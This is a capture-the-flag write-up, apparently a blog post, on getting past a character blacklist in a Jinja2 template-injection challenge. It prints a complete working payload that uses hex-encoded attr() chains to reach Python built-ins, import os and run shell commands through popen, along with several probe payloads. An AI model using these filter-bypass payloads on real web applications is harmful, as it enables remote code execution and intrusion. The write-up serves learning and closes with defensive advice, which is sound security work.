Introduction
In web security, Server-Side Template Injection (SSTI) vulnerabilities often seem straightforward at first glance. However, when mixed with smart restrictions, they can become a great challenge that tests creativity, obfuscation skills, and a deeper understanding of how template engines like Jinja2 operate.
This
writeup explores the SSTI2 challenge from a recent CTF. This challenge
initially appeared to be a standard injection task. It soon turned into a
puzzle involving blacklist bypassing, payload encoding, and Python internals.
In the end, I successfully ran remote code to access the flag without using a
single dot, underscore, or quote.
Initial Discovery
```
{{7*7}}
```
The
application returned:
```
49
```
This
confirmed a classic Jinja2 SSTI vulnerability. The server evaluated and
rendered my input as Python code within a Jinja2 template. My goal was now
clear: escalate this to read the flag, likely stored in a file like flag or
/flag.txt.
But then, I
faced an unexpected issue. Every traditional SSTI payload failed.
The
Unexpected Roadblock: Character Blacklisting
I tried
several common payloads:
```
{{
''.__class__.__mro__[1].__subclasses__() }}
{{ config
}}
{{
request.__class__.__mro__ }}
```
None of
these worked. Some returned errors while others were rejected by the server.
This pattern suggested character-level filtering, particularly targeting:
- __
(double underscores)
- . (dot
access)
- [] (list
indexing)
- ' and
" (quotes)
- ()
(function calls)
The
challenge provided a hint with a clever clue:
“Why is
blacklisting characters a bad idea to sanitize input?”
I realized
this challenge was not just about exploiting SSTI; it was about overcoming poor
sanitization logic. The way forward was through creative obfuscation.
The Core Strategy: Obfuscation and Attribute Chains
Most
template engines, especially Jinja2, provide flexible methods to access object
attributes. Even with filters on special characters, Python's dynamic attribute
system allows for alternative paths.
Step 1: Use attr() Instead of Dot Notation
In Jinja2,
this:
```
{{
request.application }}
```
Can also be
written as:
```
{{
request|attr('application') }}
```
If quotes
are blocked, we can encode the string:
```
{{
request|attr("\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e") }}
```
This gets
us the application object using hex-encoded characters to bypass filters.
Step 2: Access __globals__ to Break Out of the Template
To access
global Python objects, we normally use:
```
{{
request.application.__globals__ }}
```
With
character restrictions, we now used:
```
{{
request
|attr('\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e')
|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f') }}
```
This safely
retrieves the global namespace, even without directly using __ or .
Step 3: Use __builtins__ and __import__ to Access os
Now, with
access to the global scope, I retrieved Python built-ins like this:
```
|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')
```
From there,
I accessed Python's dynamic import function:
```
|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f')('os')
```
This gave
me complete access to the os module—meaning I could run system-level commands
like ls, cat, or whoami.
The Final Payload: Read the Flag
Here’s the
complete, working payload I crafted:
```
{{
request
|attr('\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e')
|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')
|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')
|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f')('os')
|attr('popen')('cat flag')
|attr('read')()
}}
```
This
chain:
- Accesses
the Flask application's global variables
- Grabs
Python's built-in functions
-
Dynamically imports the os module
- Executes
cat flag via os.popen()
- Reads and
prints the flag using read()
The Flag
Victory!!!!
Key Takeaways
Blacklisting individual characters is an insecure and unreliable way to sanitize input.
Python and Jinja2 both possess intense introspection and dynamic nature, which means that the most robust expressions can be reconstructed even with stringent constraints.
Obfuscation mechanisms such as hex-encoding, attribute chains, and usage of attr() are crucial to bypass weak sanitization logic.
For defensive developers, always use whitelisting, context-sensitive encoding, and sandboxed template environments (like SandboxedEnvironment in Jinja2) to avoid such attacks.
Final Thoughts
This SSTI2 vulnerability was a nice reminder that even a small security mistake, like character blacklisting, can produce big issues when exploited by someone who has language and engine internals knowledge.
It was not
just about achieving RCE; it was about outsmarting the defenses. That’s what
makes CTFs so exciting.
Until next
time,
.jpg)
.jpg)
.jpg)
No comments:
Post a Comment